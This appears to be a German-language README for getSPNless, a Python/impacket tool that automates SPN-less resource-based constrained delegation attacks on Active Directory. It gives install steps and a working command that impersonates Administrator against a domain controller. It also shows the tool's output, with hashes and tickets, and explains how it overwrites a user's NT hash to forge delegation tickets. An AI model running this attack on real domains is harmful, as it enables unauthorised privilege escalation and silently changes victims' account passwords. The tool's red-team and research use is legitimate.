
Python-Tool zur automatischen Durchführung von SPN-losen RBCD-Angriffen.

Python-Tool zum Erhalten von Kerberos-Diensttickets mittels der SPN-losen Technik. Basierend auf Exploiting RBCD Using a Normal User Account.
Dieses Tool nutzt das impacket Projekt.
Diese Werkzeuge sind nur mit Python 3.5+ kompatibel. Klonen Sie das Repository von GitHub, installieren Sie die Abhängigkeiten und schon kann es losgehen:
git clone https://github.com/jarnovandenbrink/getSPNless.git
cd getSPNless
python3 -m pip install .
Die Verwendung einer virtualenv wird empfohlen.
python3 getSPNless.py -spn cifs/DC01.pwn.local -dc-ip 192.168.2.64 -impersonate Administrator pwn.local/low:'Somepass1'
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting a TGT
[*] Calculating RC4 value of the provided password
[*] NT Hash: :3ac433014b4d5b1b4bc8a5350153ea93
[*] Saving ticket in low.ccache
[*] Ticket Session Key: 37ff4701394ef659bdd724e5dca5c00f
[*] Changing the password of pwn.local\low
[*] Connecting to DCE/RPC as pwn.local\low
[*] Password was changed successfully.
[!] User might need to change their password at next logon because we set hashes (unless password never expires is set).
[*] Impersonating Administrator
[*] Requesting S4U2self+U2U
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@[email protected]
[*] To revert the password, run: changepasswd.py pwn.local/low:[email protected] -hashes :37ff4701394ef659bdd724e5dca5c00f -newpass Somepass1
Alternativ kann ein NT-Hash verwendet werden. Beachten Sie, dass bei Verwendung eines NT-Hashs eine Passwortwiederherstellung nur möglich ist, wenn das Flag „password never expires“ für das Benutzerkonto gesetzt ist.
Dieses Tool bietet eine Methode, um die Maschinenkontenanforderung bei RBCD-Angriffen zu umgehen. Das aktuelle Problem bei der Durchführung von RBCD mit einem Benutzerkonto ist, dass der KDC nicht weiß, welchen Verschlüsselungsschlüssel er für das Ticket verwenden soll. Dieses Tool umgeht diese Einschränkung, indem es ein Kerberos-TGT anfordert, den Ticket-Session-Key extrahiert und den NT-Hash des Benutzers ändert. Mit S4U2Self+U2U und S4U2Proxy ist es weiterhin möglich, ein Dienstticket zu erhalten. Ich persönlich würde Maschinenkonten oder Shadow Credentials mit PKINIT/UnPAC-the-Hash gegenüber SPN-losem RBCD bevorzugen. Dies ist jedoch eine gute Alternative, wenn MachineAccountQuota auf 0 gesetzt ist und kein ADCS verfügbar oder PKINIT deaktiviert ist. Beachten Sie, dass der Angriff nicht funktioniert, wenn der RC4-Kerberos-Verschlüsselungstyp deaktiviert ist. Sie können dies überprüfen, indem Sie nach Kerberos-Typ 23 (Etype 23) suchen.
Dieses Projekt wurde teilweise während meiner Arbeit bei Cyber Cloud und teilweise in meiner Freizeit entwickelt. Danke an Cyber Cloud, dass sie die Zeit für die Entwicklung und Erforschung dieser Arbeit bereitgestellt haben.